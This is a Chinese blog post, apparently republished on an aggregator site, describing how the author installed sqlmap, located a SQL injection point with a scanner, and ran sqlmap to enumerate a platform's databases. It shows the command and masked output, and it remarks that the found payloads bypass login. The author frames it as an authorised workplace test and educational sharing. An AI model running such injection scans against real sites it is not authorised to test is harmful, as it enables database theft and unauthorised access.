IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Python知识库 -> (亲测有效)关于sql注入漏洞的测试、发现以及sqlmap工具的使用 -> 正文阅读

[Python知识库](亲测有效)关于sql注入漏洞的测试、发现以及sqlmap工具的使用

(亲测有效)关于sql注入漏洞的测试以及发现,尝试了百篇文章总结出来的

今天单位突然说有个平台有sql注入漏洞,让找出来来是什么样的sql漏洞,真是nn腿了,只能用下面的这张图来代表自己的心情了

在这里插入图片描述

  • 关于sql注入的几点想法
  • 网上面有那么多的sqlmap工具的使用方法,前篇一律,都是看不懂
  • 网上好多关于sql注入的视频也是看一遍懵逼一遍
  • 使用了好多的方法,为什么人家的就可以咱的就不行的
  • 浪费了时间,这个也不能花钱让别人做

废话少说,开干

在这里插入图片描述

1. 安装sqlmap

既然要用到这个工具,那我们就可以安装这个工具吧,建议在linux上面安装使用,当然了,小编是开了一个虚拟机在上面使用的

  • 安装sqlmap需要满足一下几个条件哈
  • 小编是在centos7.6上面安装的,当然大家也可以安装到windows上,可自行百度安装方法
  • python的版本为2.7.5
  • 可以连接外网或者可以连接到你要测试sql漏洞的平台上面就行

在这里插入图片描述

1.1 官网下载软件包

官方网站:http://sqlmap.org/
坑的一批,看运气登录,可能服务器在国外,一会能登录上去,一会登录不上去,如果能登录上去的话,可以下载最新的安装包
在这里插入图片描述
当然了,也可以使用小编的这个。

链接:https://pan.baidu.com/s/1QvXdDJRLPIgEKS4QPkNjfA 
提取码:5f93

1.2 开始安装、

其实sqlmap不用安装的,他其实就是一个python脚本,直接用python启动就可以了

一张图告诉你怎么安装sqlmap
  • 解压
  • 进到解压目录里面
  • 哎呀,妈呀,sqlmap.py就是我们要用到的脚本
    在这里插入图片描述

1.3 做软链

为了使用命令方便,这边我们做一个软连接

[root@localhost sqlmapproject-sqlmap-8af87c7]# ln -s ~/sqlmapproject-sqlmap-8af87c7/sqlmap.py /usr/local/sqlmap
[root@localhost sqlmapproject-sqlmap-8af87c7]# which sqlmap   #这个就是我们要用到的命令
/usr/local/bin/sqlmap

2. 找到网站的sql漏洞注入点

这个就是自己搞了半天的,百度上面好多的文章一上来就是“https://***********/index.php?id=1”,用这个作为注入点,那么问题来了,这个?id=1是什么玩意呢,看了这篇文章你就知道了,并不是所有的平台都得使用这个id=1的,包括我测试的这个平台他就不是,这个也是坑了自己好久,

2.1 何为注入点

简单理解就是,一个漏洞的口,你的需要从这里开始突破进去

2.2 怎么找到这个注入点

伟大的人类,为什么伟大,就是因为我们会使用工具,网上面这种工具很多,小编这里用的是工具Safe来实现的
工具使用也很简单,把你需要测试的网址复制进去,根据需要选择get或者post方式即可,长下面这个样子!
在这里插入图片描述

图片已经非常简洁明了了吧,这个是安装在windows上面的哈,找到注入点,需要复制到sqlmap工具里面使用的哈。别为为什么,问就是懒
该工具下载连接

链接:https://pan.baidu.com/s/1SP_U2ZM4VBlMThooOaYHPw 
提取码:rkn9

3. 开始sqlmap暴库

小编为什么说暴库呢,直接暴库不好吧,但是小编也懒哈,直接给大家演示下暴库,也就是暴漏出来数据库,其他的大家可以自己尝试,连数据都暴出来了,还搞其他的干什么吗

3.1 sqlmap注入测试

[root@localhost ~]# sqlmap -u "http://XXXXXXXXXXXXXXminID=1" --level=3 --dbs    ###XXX为小编故意隐藏起来的注入点也就是上面工具查到的注入点

## -u:指定注入点
## --level :指定sqlmap的运行等级,最高为5,自己的平台,用5的话是不是会对不起平台的访问量哈
## --dbs : 利用漏洞爆出所使用的数据库里面的所有库名,只要在这个数据库里面的都会曝出来,就算你平台没有用这个库也会曝出来

------内容省略--------
[23:16:19] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: adminID (GET)
    Type: boolean-based blind
    Title:*************************************
    Payload: adminID=1' AND XXXXXXXXXXXXXXXXX   ##内容隐藏起来,看到了这里基本上也就结束了,可以通过注入点加上这个Payload里面的参数,来进行http的登录,你会发现,哎呀,妈呀,居然不用输入密码,直接进入到了首页

    Type: error-based
    Title: ********************************************
    Payload: adminID=1' AND XXXXXXXXXXXXXXXXX    ##内容隐藏起来,看到了这里基本上也就结束了,可以通过注入点加上这个Payload里面的参数,来进行http的登录,你会发现,哎呀,妈呀,居然不用输入密码,直接进入到了首页


    Type: time-based blind
    Title: **********************************
    Payload: adminID=1' AND XXXXXXXXXXXXXXXXX    ##内容隐藏起来,看到了这里基本上也就结束了,可以通过注入点加上这个Payload里面的参数,来进行http的登录,你会发现,哎呀,妈呀,居然不用输入密码,直接进入到了首页

    Type: UNION query
    Title: *******************************
    Payload: adminID=1' AND XXXXXXXXXXXXXXXXX    ##内容隐藏起来,看到了这里基本上也就结束了,可以通过注入点加上这个Payload里面的参数,来进行http的登录,你会发现,哎呀,妈呀,居然不用输入密码,直接进入到了首页


-----------------省略--------------
为了保密起见,最后面sqlmap将会展示数据库,小编这里就不展示了
---

4. sqlmap的其他的参数

  • sqlmap非常的强大,这个功能只是他的九牛一毛,其他的参数请自行百度,哈哈,小编是不是很坏

5. 结束语

这篇文章只是为了和大家一起交流学习用的,千万不要用来干坏事

  Python知识库 最新文章
Python中String模块
【Python】 14-CVS文件操作
python的panda库读写文件
使用Nordic的nrf52840实现蓝牙DFU过程
【Python学习记录】numpy数组用法整理
Python学习笔记
python字符串和列表
python如何从txt文件中解析出有效的数据
Python编程从入门到实践自学/3.1-3.2
python变量
上一篇文章      下一篇文章      查看所有文章
加:2021-07-22 14:07:30  更:2021-07-22 14:09:00 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/4 20:32:34-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码